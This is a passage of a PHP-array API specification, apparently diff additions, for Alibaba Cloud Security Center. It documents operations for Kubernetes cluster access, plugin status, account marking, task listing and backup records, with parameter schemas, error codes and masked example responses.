'本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'K8sAccessInfos' => [ + 'description' => 'k8s接入信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'k8s接入信息。', + 'type' => 'object', + 'properties' => [ + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'AliUid' => [ + 'description' => '用户aliuid。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1960721413485****', + ], + 'InstallKey' => [ + 'description' => 'k8s安装密钥。', + 'type' => 'string', + 'example' => 'xxx', + ], + 'Id' => [ + 'description' => '接入信息唯一标识 ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '67070', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c0da5e4cb82a848c4a57c4dc9f49a****', + ], + 'GroupId' => [ + 'description' => '服务器分组ID。', + 'type' => 'string', + 'example' => '11088522', + ], + 'ExpireDate' => [ + 'description' => '过期时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1690596321613', + ], + 'GroupName' => [ + 'description' => '服务器组名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'Vendor' => [ + 'description' => '厂商。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'AuditRegionId' => [ + 'description' => '服务器所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'AuditProject' => [ + 'description' => '审计日志slsproject。', + 'type' => 'string', + 'example' => 'k8s-log-custom-your-project-sd89eh****', + ], + 'AuditLogStore' => [ + 'description' => '审计日志sls logstore。', + 'type' => 'string', + 'example' => 'audit-cf6baf6afa106eca665296fdf68b****', + ], + 'CpuArch' => [ + 'title' => 'cpu架构，分为arm架构的和x86架构。', + 'description' => 'cpu架构，分为arm架构的和x86架构。', + 'type' => 'string', + 'example' => 'arm', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"K8sAccessInfos\\": [\\n {\\n \\"ClusterName\\": \\"test\\",\\n \\"AliUid\\": 0,\\n \\"InstallKey\\": \\"xxx\\",\\n \\"Id\\": 67070,\\n \\"ClusterId\\": \\"c0da5e4cb82a848c4a57c4dc9f49a****\\",\\n \\"GroupId\\": \\"11088522\\",\\n \\"ExpireDate\\": 1690596321613,\\n \\"GroupName\\": \\"test\\",\\n \\"Vendor\\": \\"ALIYUN\\",\\n \\"AuditRegionId\\": \\"cn-hangzhou\\",\\n \\"AuditProject\\": \\"k8s-log-custom-your-project-sd89eh****\\",\\n \\"AuditLogStore\\": \\"audit-cf6baf6afa106eca665296fdf68b****\\",\\n \\"CpuArch\\": \\"arm\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询K8s接入信息', + 'description' => '查询k8s接入信息', + ], + 'GenerateK8sAccessInfo' => [ + 'summary' => '生成自建k8s接入命令。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas60Z3AE', + ], + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'title' => '集群名称', + 'description' => 'k8s集群的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '查询到的分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '11341690', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + .'- **Tencent**'."\n" + .'- **HUAWEICLOUD**'."\n" + .'- **Azure**'."\n" + .'- **AWS** '."\n" + .'- **其它云资产**', + 'type' => 'string', + 'required' => true, + 'example' => 'Tencent', + ], + ], + [ + 'name' => 'ExpireDate', + 'in' => 'query', + 'schema' => [ + 'title' => '过期时间', + 'description' => '容器接入过期时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1711951508388', + ], + ], + [ + 'name' => 'AuditRegionId', + 'in' => 'query', + 'schema' => [ + 'title' => '审计日志region', + 'description' => '审计日志region。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'AuditProject', + 'in' => 'query', + 'schema' => [ + 'title' => '审计日志 sls project', + 'description' => '审计日志 sls project。', + 'type' => 'string', + 'required' => false, + 'example' => 'k8s-log-custom-huxintest1018-2', + ], + ], + [ + 'name' => 'AuditLogStore', + 'in' => 'query', + 'schema' => [ + 'title' => '审计日志 sls logstore', + 'description' => '审计日志 sls logstore。', + 'type' => 'string', + 'required' => false, + 'example' => 'audit-cf6baf6afa106eca665296fdf68b65bf', + ], + ], + [ + 'name' => 'AliyunYundunGatewayProjectName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注 。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'Sas', + ], + ], + [ + 'name' => 'AliyunYundunGatewayApiName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注 。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'GenerateK8sAccessInfo', + ], + ], + [ + 'name' => 'AliyunYundunGatewayPopName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注 。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'Sas.2018-12-03.GenerateK8sAccessInfo', + ], + ], + [ + 'name' => 'CpuArch', + 'in' => 'query', + 'schema' => [ + 'title' => 'cpu架构，分为arm架构的和x86架构。', + 'description' => 'cpu架构，分为arm架构的和x86架构。', + 'type' => 'string', + 'required' => false, + 'example' => 'arm', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '061955B2-BC40-589F-AF63-C40A901EE279', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'ClusterName' => [ + 'title' => '集群名称', + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'AliUid' => [ + 'title' => '用户ID', + 'description' => '用户aliuid。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1766185894104***', + ], + 'InstallKey' => [ + 'title' => '安装码', + 'description' => '服务器安装的key。', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'BC66185***', + ], + 'ClusterId' => [ + 'title' => '集群ID', + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', + ], + 'GroupId' => [ + 'title' => 'groupId', + 'description' => '服务器分组ID。', + 'type' => 'string', + 'example' => '11618788', + ], + 'ExpireDate' => [ + 'title' => '过期时间', + 'description' => '过期时间，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1804230578566', + ], + 'AuditRegionId' => [ + 'title' => '审计日志region', + 'description' => '服务器所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'AuditProject' => [ + 'title' => '审计日志 sls project', + 'description' => '审计日志slsproject。', + 'type' => 'string', + 'example' => 'k8s-log-custom-your-project-sd89ehaaa', + ], + 'AuditLogStore' => [ + 'title' => '审计日志 sls logstore', + 'description' => '审计日志sls logstore。', + 'type' => 'string', + 'example' => 'audit-cf6baf6afa106eca665296fdf68b65bf', + ], + 'CpuArch' => [ + 'title' => 'cpu架构，分为arm架构的和x86架构。', + 'description' => 'cpu架构，分为arm架构的和x86架构。示例：'."\n" + .'- arm64'."\n" + ."\n" + .'- x86', + 'type' => 'string', + 'example' => 'x86'."\n", + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => 'Invalid parameter value.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"061955B2-BC40-589F-AF63-C40A901EE279\\",\\n \\"Data\\": {\\n \\"ClusterName\\": \\"test\\",\\n \\"AliUid\\": 0,\\n \\"InstallKey\\": \\"BC66185***\\",\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"GroupId\\": \\"11618788\\",\\n \\"ExpireDate\\": 1804230578566,\\n \\"AuditRegionId\\": \\"cn-hangzhou\\",\\n \\"AuditProject\\": \\"k8s-log-custom-your-project-sd89ehaaa\\",\\n \\"AuditLogStore\\": \\"audit-cf6baf6afa106eca665296fdf68b65bf\\",\\n \\"CpuArch\\": \\"x86\\\\n\\"\\n }\\n}","type":"json"}]', + 'title' => '生成自建k8s接入命令', + ], + 'ListClusterPluginInfo' => [ + 'summary' => '列表集群插件状态。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'PluginName', + 'in' => 'query', + 'schema' => [ + 'description' => '插件名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'alihips', + ], + ], + [ + 'name' => 'ClusterIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '集群ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => '902e428f6cc6679685d65fc81803****', + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'Data' => [ + 'description' => '查询到的插件信息。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的插件信息。', + 'type' => 'object', + 'properties' => [ + 'ClusterStatus' => [ + 'description' => '集群运行状态：'."\n" + .'- 1：正常。'."\n" + .'- 2：异常。'."\n" + .'- 3：离线。', + 'type' => 'string', + 'example' => 'ABNORMAL', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'lmftest', + ], + 'NodePluginInfoList' => [ + 'description' => '集群plugin列表。', + 'type' => 'array', + 'items' => [ + 'description' => '集群插件信息。', + 'type' => 'object', + 'properties' => [ + 'PluginVersion' => [ + 'description' => '插件版本。', + 'type' => 'string', + 'example' => '1.3.1', + ], + 'Installed' => [ + 'description' => '是否已安装。取值：'."\n" + .'- **true** ：已安装'."\n" + .'- **false** ：未安装。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'MachineType' => [ + 'description' => '实例机器类型。取值包括但不限于：'."\n" + .'- **ecs**：ECS'."\n" + .'- **slb**：SLB', + 'type' => 'integer', + 'format' => 'int64', + 'example' => 'ECS', + ], + 'Uuid' => [ + 'description' => '服务器uuid。', + 'type' => 'string', + 'example' => 'bc563d2b-2a3d-411b-8bbe-d75b8d3c****', + ], + 'MachineIntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '10.XXX.XXX.XX', + ], + 'Online' => [ + 'description' => '云安全中心客户端是否在线。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否'."\n" + ."\n" + .'> 如果客户端不在线，则云安全中心无法对该型服务器提供安全防护。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'MachineInternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '100.100.XXX.XX', + ], + 'PluginName' => [ + 'description' => '插件名称。', + 'type' => 'string', + 'example' => 'alihips', + ], + 'MachineName' => [ + 'description' => '服务器主机名称。', + 'type' => 'string', + 'example' => 'npznas05', + ], + 'instanceId' => [ + 'description' => '服务器实例ID。', + 'type' => 'string', + 'example' => 'tpp-cn-2r42njq4y001', + ], + 'ErrorCode' => [ + 'description' => '错误码。', + 'type' => 'string', + 'example' => 'kenerl not support', + ], + 'ErrorMsg' => [ + 'description' => '错误消息。', + 'type' => 'string', + 'example' => 'kenerl not support', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"Data\\": [\\n {\\n \\"ClusterStatus\\": \\"ABNORMAL\\",\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"ClusterName\\": \\"lmftest\\",\\n \\"NodePluginInfoList\\": [\\n {\\n \\"PluginVersion\\": \\"1.3.1\\",\\n \\"Installed\\": true,\\n \\"MachineType\\": 0,\\n \\"Uuid\\": \\"bc563d2b-2a3d-411b-8bbe-d75b8d3c****\\",\\n \\"MachineIntranetIp\\": \\"10.XXX.XXX.XX\\",\\n \\"Online\\": true,\\n \\"MachineInternetIp\\": \\"100.100.XXX.XX\\",\\n \\"PluginName\\": \\"alihips\\",\\n \\"MachineName\\": \\"npznas05\\",\\n \\"instanceId\\": \\"tpp-cn-2r42njq4y001\\",\\n \\"ErrorCode\\": \\"kenerl not support\\",\\n \\"ErrorMsg\\": \\"kenerl not support\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取集群插件信息', + ], + 'MarkMonitorAccounts' => [ + 'summary' => '多账号管理成员账号打标，将选中的成员账号标注为重点关注的账号，在云安全中心控制台左侧导航栏上方的下拉列表会优先展示重点关注的账号。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'AccountIds', + 'in' => 'query', + 'schema' => [ + 'description' => '成员账号ID列表。', + 'type' => 'string', + 'required' => true, + 'example' => '131331822340XXXX,140649175187XXXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\"\\n}","type":"json"}]', + 'title' => '多账号管理成员账号打标', + ], + 'UnMarkMonitorAccounts' => [ + 'summary' => '取消成员账号打标，将会对账号取消重点关注，在云安全中心控制台左侧导航栏上方的下拉列表不会再优先展示该账号。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'AccountIds', + 'in' => 'query', + 'schema' => [ + 'description' => '成员账号ID列表。', + 'type' => 'string', + 'required' => true, + 'example' => '125267953644XXXX,125807832682XXXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '3B7EF1A4-E970-5A7F-91CA-416F9881333E', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3B7EF1A4-E970-5A7F-91CA-416F9881333E\\"\\n}","type":"json"}]', + 'title' => '多账号管理取消成员账号打标', + ], + 'GetClusterStrategyCount' => [ + 'summary' => '查询每个集群中包含的策略数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据详情。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', + ], + 'StrategyCount' => [ + 'description' => '策略数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + 'Count' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '796348B5-115C-5BFB-83EA-B5C3C12F822F', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"StrategyCount\\": 10\\n }\\n ],\\n \\"Count\\": 3,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"796348B5-115C-5BFB-83EA-B5C3C12F822F\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询每个集群中包含的策略数', + ], + 'ListUnfinishedOnceTask' => [ + 'summary' => '提供根据任务类型，查询未完成的任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。取值：'."\n" + .'- **ASSETS_COLLECTION**：资产采集任务'."\n" + .'- **IMAGE_SCAN**：镜像扫描任务', + 'type' => 'string', + 'required' => true, + 'example' => 'IMAGE_SCAN', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '目标对象值。可选参数：'."\n" + .'- 当任务类型**IMAGE_SCAN**时，目标对象值为镜像的**Digest**。'."\n" + .'- 当任务类型为**ASSETS_COLLECTION**时，目标对象值为机器的**Uuid***。', + 'type' => 'string', + 'required' => false, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', + ], + 'OnceTasks' => [ + 'description' => '任务详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务详情列表。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '状态。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'StatusText' => [ + 'description' => '任务运行的状态。取值：'."\n" + .'- **INIT**：待启动'."\n" + .'- **START**：已启动'."\n" + .'- **SUCCESS**：已完成'."\n" + .'- **TIMEOUT**：已超时', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Progress' => [ + 'description' => '导出进度百分比（%）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '75', + ], + 'RealRunTime' => [ + 'description' => '任务执行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1670307567000', + ], + 'TaskName' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'IMAGE_SCAN', + ], + 'Finish' => [ + 'description' => '任务是否完成。'."\n" + .'- **0**：未完成'."\n" + .'- **1**：已完成', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalCount' => [ + 'description' => '总数，分页查询时生效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'EndTime' => [ + 'description' => '结束时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1670307567000', + ], + 'TaskType' => [ + 'description' => '任务类型。', + 'type' => 'string', + 'example' => 'IMAGE_SCAN', + ], + 'StartTime' => [ + 'description' => '开始执行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1640102400000', + ], + 'ResultInfo' => [ + 'description' => '执行结果。', + 'type' => 'string', + 'example' => 'TASK_NOT_SUPPORT_REGION', + ], + 'Target' => [ + 'description' => '任务目标。', + 'type' => 'string', + 'example' => '238cf050a7270dd6940602e70f1e5a11eeaf4e02035f445b7f613ff5e064****', + ], + 'TaskId' => [ + 'description' => '任务ID。', + 'type' => 'string', + 'example' => '9fb50f2af8bb67c9fdb684194c83****', + ], + 'FinishCount' => [ + 'description' => '已完成的记录数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '67', + ], + 'TargetType' => [ + 'description' => '扫描对象类型。'."\n" + .'- **IMAGE_REPO**：镜像仓库。'."\n" + .'- **IMAGE**：镜像。', + 'type' => 'string', + 'example' => 'IMAGE', + ], + 'TaskImageInfo' => [ + 'description' => '镜像扫描相关的信息。', + 'type' => 'object', + 'properties' => [ + 'RepoId' => [ + 'description' => '镜像仓库ID。', + 'type' => 'string', + 'example' => 'crr-r88w2vryp8m****', + ], + 'Digest' => [ + 'description' => '镜像digest。', + 'type' => 'string', + 'example' => 'default_digest', + ], + 'Tag' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => 'v1.20-002-a2*****', + ], + 'RepoRegionId' => [ + 'description' => '镜像仓库的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'RepoName' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'example' => 'testyyy', + ], + 'RepoNamespace' => [ + 'description' => '镜像命名空间。', + 'type' => 'string', + 'example' => 'bitn***', + ], + 'RegionId' => [ + 'description' => '服务器镜像所在的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Image' => [ + 'description' => '容器镜像。', + 'type' => 'string', + 'example' => '***s.com/sas_test/baseli***', + ], + 'Pod' => [ + 'description' => '镜像pod信息。', + 'type' => 'string', + 'example' => 'expoit-law-****', + ], + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'ack-jenkins-****', + ], + 'NodeName' => [ + 'description' => '节点的名称。', + 'type' => 'string', + 'example' => 'pztest****', + ], + 'NodeIp' => [ + 'description' => '节点IP地址。', + 'type' => 'string', + 'example' => '172.18.XXX.XXX', + ], + 'NodeInstanceId' => [ + 'description' => '节点实例ID。', + 'type' => 'string', + 'example' => 'i-0xi5mxvtmfw9****', + ], + 'ClusterId' => [ + 'description' => '集群的ID。', + 'type' => 'string', + 'example' => 'a765ba1435e7f9446065370e9a41****', + ], + 'ClusterName' => [ + 'description' => '查询服务下某个集群的实例列表时所需要的参数。', + 'type' => 'string', + 'example' => 'ACK-test-****', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\",\\n \\"OnceTasks\\": [\\n {\\n \\"Status\\": 1,\\n \\"StatusText\\": \\"SUCCESS\\",\\n \\"Progress\\": 75,\\n \\"RealRunTime\\": 1670307567000,\\n \\"TaskName\\": \\"IMAGE_SCAN\\",\\n \\"Finish\\": 1,\\n \\"TotalCount\\": 30,\\n \\"EndTime\\": 1670307567000,\\n \\"TaskType\\": \\"IMAGE_SCAN\\",\\n \\"StartTime\\": 1640102400000,\\n \\"ResultInfo\\": \\"TASK_NOT_SUPPORT_REGION\\",\\n \\"Target\\": \\"238cf050a7270dd6940602e70f1e5a11eeaf4e02035f445b7f613ff5e064****\\",\\n \\"TaskId\\": \\"9fb50f2af8bb67c9fdb684194c83****\\",\\n \\"FinishCount\\": 67,\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"TaskImageInfo\\": {\\n \\"RepoId\\": \\"crr-r88w2vryp8m****\\",\\n \\"Digest\\": \\"default_digest\\",\\n \\"Tag\\": \\"v1.20-002-a2*****\\",\\n \\"RepoRegionId\\": \\"cn-hangzhou\\",\\n \\"RepoName\\": \\"testyyy\\",\\n \\"RepoNamespace\\": \\"bitn***\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Image\\": \\"***s.com/sas_test/baseli***\\",\\n \\"Pod\\": \\"expoit-law-****\\",\\n \\"AppName\\": \\"ack-jenkins-****\\",\\n \\"NodeName\\": \\"pztest****\\",\\n \\"NodeIp\\": \\"172.18.XXX.XXX\\",\\n \\"NodeInstanceId\\": \\"i-0xi5mxvtmfw9****\\",\\n \\"ClusterId\\": \\"a765ba1435e7f9446065370e9a41****\\",\\n \\"ClusterName\\": \\"ACK-test-****\\"\\n }\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询未完成的任务列表', + ], + 'ListBackupRecord' => [ + 'summary' => '查询备份记录列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'MachineRemark', + 'in' => 'query', + 'schema' => [ + 'title' => '', + 'description' => '要查询的防勒索策略防护的服务器的识别信息。可输入服务器的IP地址或实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '', + 'description' => '备份任务状态列表。取值：'."\n" + .'- **BACKUP_COMPLETE**：备份成功'."\n" + .'- **BACKUP_FAILED**：备份失败'."\n" + .'- **PARTIAL_COMPLETE**：部分备份成功', + 'type' => 'array', + 'items' => [ + 'description' => '备份任务状态列表。', + 'type' => 'string', + 'required' => false, + 'example' => '["BACKUP_COMPLETE"]', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'BackupStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '备份开始时间，格式为时间戳（单位为毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1699514211000', + ], + ], + [ + 'name' => 'BackupEndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '备份结束时间，格式为时间戳（单位为毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1699600611000', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => 